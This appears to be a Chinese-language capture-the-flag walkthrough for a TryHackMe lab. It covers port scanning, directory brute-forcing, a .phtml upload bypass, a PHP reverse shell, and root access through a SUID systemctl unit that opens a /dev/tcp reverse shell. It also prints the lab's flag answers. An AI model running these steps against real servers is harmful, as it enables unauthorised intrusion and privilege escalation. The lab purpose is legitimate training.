开启虚拟机,启动openvpn进行连接。
1、侦察
首先需要检查系统开启了哪些端口
nmap -sV 10.10.107.118
根据上述结果,可以回答如下问题
——扫描盒子;有多少个端口是开放的?
6
——计算机上运行的是哪个版本的squid proxy?
3.5.12
——如果使用标志-p-400,Nmap将扫描多少个端口?
400
——这台机器最有可能运行的操作系统是什么?
ubuntu
——Web 服务器在哪个端口上运行?
3333
——确保您在继续操作之前始终进行彻底的勘察至关重要。了解所有开放的服务(都可能成为利用点)非常重要,不要忘记更高范围的端口可能是开放的,因此不断扫描 1000 之后的端口(即使您在后台进行检查)。
——使用 Nmap 启用详细模式的标志是什么?
-v
2、使用gobuster暴力破解目录
gobuster dir -uhttp://10.10.107.118:3333 -w/usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50
注:-t 50,增加gobuster运行的进程数,提高速度。
根据执行结果,回答如下问题
——有上传表单页面的目录是什么?
/internal/
3、上传利用
已经找到了上传文件的表单,我们可以利用它来上传并执行payload,这将导致网络服务器受到损害。
通过运行Wappalyzer插件,知道网站使用的为PHP。
我们上传.php文件,会被阻止。
问题:
———您想要上传哪些常见文件类型来利用会服务器被阻止?
.php
现在,我们需要对上传表单进行模糊测试,以确定哪些扩展未被阻止。
可使用burpsuite的intruder模块,对文件后缀进行枚举
用来模糊测试的文件:phpext.txt内容如下
执行intruder的结果如下
回答问题:
——运行此攻击,允许什么扩展?
.phtml
现在我们上传PHP的反向shell文件,下载地址如下
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
要远程访问此计算机,请按照下列步骤操作:
1)编辑 php-reverse-shell.php 文件并将 ip 编辑为您的 tun0 ip(您可以通过在 TryHackMe 连接设备的浏览器中访问http://10.10.10.10来获取此信息)。
2)将此文件重命名为php-reverse-shell.phtml
3)我们现在将使用 netcat 监听传入连接。运行以下命令:nc -lvnp 1234
4)上传您的 shell 并导航到http://10.10.227.252:3333/internal/uploads/php-reverse-shell.phtml -这将执行您的有效负载
您应该在 Netcat 会话上看到一个连接
回答问题:
——管理网络服务器的用户名是什么?
bill
查看/home目录,发现了bill
——是用户标志什么?
8bd7992fbe8a6ad22a63361004cfcedb
4、权限提升
已经入侵了这台机器,我们将升级权限并成为超级用户(root)。
在Linux中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。
例如,用于更改密码的二进制文件设置了 SUID 位(/usr/bin/passwd)。这是因为要更改您的密码;它将需要写入您无权访问的 Shadowers 文件,而 root 可以;因此它具有 root 权限来进行正确的更改。
搜索所有 SUID 文件
find / -user root -perm -4000 -print 2>/dev/null
回答问题:
——在系统上,搜索所有 SUID 文件。哪个文件脱颖而出?
/bin/systemctl
——挑战时间到了!到目前为止,我们已经引导您完成了。你能进一步利用这个系统来提升你的权限并得到最终的答案吗?
成为 root 并获取最后一个标志(/root/root.txt)
a58ff8579f0a9270368d33a9966c7fd5
获取/root/root.txt有两种方法,分别描述如下
第一种方法:
创建一个名为root.service文件,内容如下,需要改IP地址。
[Unit]
Description=root
[Service]
Type=simple
User=root
ExecStart=/bin/bash-c 'bash -i >& /dev/tcp/10.XX.XX.XX/4444 0>&1'
[Install]
WantedBy=multi-user.target
在入侵机器上下载root.service文件到/tmp目录。启动start.service
systemctlenable /tmp/root.service
systemctl start root
本机监听4444端口,一旦入侵机启动了root.service就能获得反向连接了。从而获取/root/root.txt内容。
第二种方法:
仿照GTFOBins中的做法
https://gtfobins.github.io/gtfobins/systemctl/
稍加修改:
1)将执行语句改为读取/root/root.txt的内容
2)systemctl需要带上绝对路径
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh-c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target'> $TF
/bin/systemctllink $TF
/bin/systemctl
enable --now $TF
在受害机上执行如下,/tmp/output即为/root/root.txt的内容。